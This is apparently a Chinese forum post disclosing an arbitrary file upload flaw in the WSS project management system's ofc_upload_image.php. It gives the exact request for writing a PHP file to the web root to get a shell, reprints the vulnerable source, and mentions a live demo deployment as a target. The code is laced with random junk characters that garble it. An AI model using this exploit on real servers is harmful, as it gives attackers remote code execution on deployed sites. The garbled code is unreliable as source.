WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php

利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
/ z5 M9 ]4 O1 ]8 I
Post任意数据
- ~; F4 }- X- i2 f! p$ y; W: a保存位置http://localhost/chart/tmp-upload-images/hfy.php


最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
3 g! m, o* G3 u, X; ?8 ]/ a- v6 H
<?php
0 i# j# _# n; u3 g0 B
" {; r# f( H4 l7 h//
# |" Q/ f# y  O/ A1 \: s- p' U// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
) G" f0 f2 m# ^: v  o/ L. p//
2 ~( p6 K- P: [
% Y( w+ I! X  V8 ]- v' Y/*

print_r( $_GET );
print_r( $_POST );
( t* V9 M, p' H3 @print_r( $_FILES );
8 M4 {2 }1 M" z9 K
3 u  w+ q3 S# F) G* Yprint_r( $GLOBALS );
% z3 N' U5 j/ i) n2 a7 e2 _print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
" V/ G) C8 E8 x1 W
/ k! t  a. I* J8 R& U/ u) P*/
// default path for the image to be stored //
$default_path = '../tmp-upload-images/';
4 d! @6 V/ e4 v2 O) A' r; ~
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
4 Q0 t" F- U1 ~
// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );
6 _! k. }/ R/ f
echo 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
/ e8 I+ U2 l8 E// echo $HTTP_RAW_POST_DATA;
3 }# h' Y$ X, P8 Z
' k: _& m# m  f+ D) z2 h' U//
5 |5 j2 I: d' x( K// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
4 k, G* I* g" G" w# v' ~; B// the raw bits into $HTTP_RAW_POST_DATA
: V- o+ w! V( u. i$ ]# I7 X7 f0 k//

$jfh = fopen($destination, 'w') or die("can't open file");
" P' c+ Z9 z5 D. m- Ufwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);
) j7 w; T' u$ I1 O7 F
//
// LOOK:
//
; {  I, F+ O2 v2 b( h. P) w( Oexit();
//
// PHP5:
//
+ b8 l' ?# @, s$ V

6 _4 a/ h" f, O, G" q5 h// default path for the image to be stored //
$default_path = 'tmp-upload-images/';
, G/ ~2 y3 b/ M; `5 v
if (!file_exists($default_path)) mkdir($default_path, 0777, true);

3 b( ?; X: ^1 {# n: a: m, V// full path to the saved image including filename //
7 a  p5 m3 t$ G, S: Q% G5 S: Z% [, w$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
7 F6 s  J. S% p1 y8 P/ X! U' u
/ Z: r+ \$ p4 \% q# t// move the image into the specified directory //
% }- N  ?# {' H8 f4 Q* ]* H; bif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
  M3 H- D) a1 z" s' w    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
    echo "FILE UPLOAD FAILED";
}

2 y( `# Y+ e. x  `$ o# W
5 W( a. o% J; F' l  R, s8 w( w?>

0 F5 K0 W3 k5 ^7 `7 j* E& m


" O8 a) _6 c/ u& t3 ]3 k
& @6 Y  j9 N4 ?
修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
8 `( T" J  h6 g$ J5 V$ [4 h8 o
3 Q+ c7 o& D; _+ A